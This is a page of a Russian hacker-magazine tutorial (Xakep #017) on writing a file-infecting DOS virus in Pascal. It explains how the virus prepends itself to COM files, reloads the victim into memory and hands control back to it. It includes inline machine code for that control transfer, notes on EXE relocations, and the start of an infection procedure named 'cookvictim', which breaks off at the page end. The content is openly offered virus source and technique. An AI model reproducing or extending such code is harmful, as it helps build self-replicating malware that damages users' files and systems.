ЯВУ на халяву!

Ramhak O`Hady

Xakep, номер #017, стр. 017-064-4


EXE-шником на Pascal`е поражать можно и EXE, и COM. Неплохо, правда? Вирус, правда, больше жертвы в два раза. :) Поражение COM`ков даже проще. Алгоритм, ясный перец, различается. Для COM`ков можно сделать так: считывать целиком COM-файл в память, писать свое вирусное тело в файл, потом дописывать жертву. Тогда произойдет вызов вируса, он выделит память (всю, без остатка - она пригодится жертве для успешной работы, никто же не хочет, чтобы любимый Тетрис глючил и портил юзеру кайф последних минут за компом?) и подгрузит туда весь COM`ок. Осталось освободить ту память, которую занимает сам вирус, и сделать переход на тело жертвы. Вот здесь можно очень сильно извратиться и сделать-таки все это на Pas`е. Но гораздо быстрее это можно сделать на ASM`е. Например, так:

inline($FA/ { cli }

$8E/$16/>victimseg/ { mov ss,[victimseg] }

$33/$E4/ { xor sp,sp }

$FB/ { sti }

$33/$C0/ { xor ax,ax }

$50/ { push ax }

$A1/>victimseg/ { mov ax,[victimseg] }

$50/ { push ax }

$8E/$D8/ { mov ds,ax }

$8E/$C0/ { mov es,ax }

$B8/$00/$01/ { mov ax,100h }

$50/ { push ax }

$33/$C0/ { xor ax,ax }

$8B/$D8/ { mov bx,ax }

$8B/$C8/ { mov cx,ax }

$8B/$D0/ { mov dx,ax }

$8B/$F0/ { mov si,ax }

$8B/$F8/ { mov di,ax }

$8B/$E8/ { mov bp,ax }

$CB); { retf }

С EXE-шником дело сложнее. Дело в том, что там мало вычислить, сколько реально места займет в памяти исполняемый код и данные. Там есть такая пакость, как relocations. EXE-шники по жизни состоят из нескольких сегментов. Чтобы к каждому можно было обращаться по правильному адресу (то есть такому, каков он при загруженном в память модуле), и были придуманы relocation`ы. Зная, как устроен DOS, можно без труда эмулировать его работу.

Идея состоит в том, чтобы во время компиляции кода не писать жестких адресов, а писать смещения, которые потом можно будет добавить к тому сегменту, в который мы пропишем код (здесь - самих сегментов, а не внутри сегментов). То есть SEG:XXX превратится в SEG+OFS:XXX, где OFS нам известно, а SEG:XXX понатыканы по всему файлу). То есть был, например, массив в начале сегмента данных, тогда его относительный адрес = DATASEG:0000. Когда мы загрузим код и данные, то к DATASEG нужно будет добавить номер сегмента, куда мы его загрузили, и тогда прога сможет смело обращаться в ADDR+DATASEG:0000 за массивом. :)

Совет - прочтите какое-нибудь из описаний форматов DOS. Там все написано подробно.

procedure cookvictim;

var

header: texeheader;

memqua: longint;

loadnow: word;

seg, ofs: word;

begin

if (self.infection = com_infection) then

begin

assign(f, paramstr(0));

reset(f, 1);

{ наибольший доступный кус для жеpтвы }

regs.ah:=$48;

regs.bx:=$FFFF;

intr($21, regs);

regs.ah:=$48;

intr($21, regs);

{ check*** }

victimseg:=regs.ax;

{ скопиpуем PSP }

move(ptr(cseg-$10, 0)^, ptr(victimseg, 0)^, 256);

{ считаем жеpтвенное тело }

seek(f, self.size);

blockread(f, ptr(victimseg+$10, 0)^, $FFFF);

Назад на стр. 017-064-3  Содержание  Вперед на стр. 017-064-5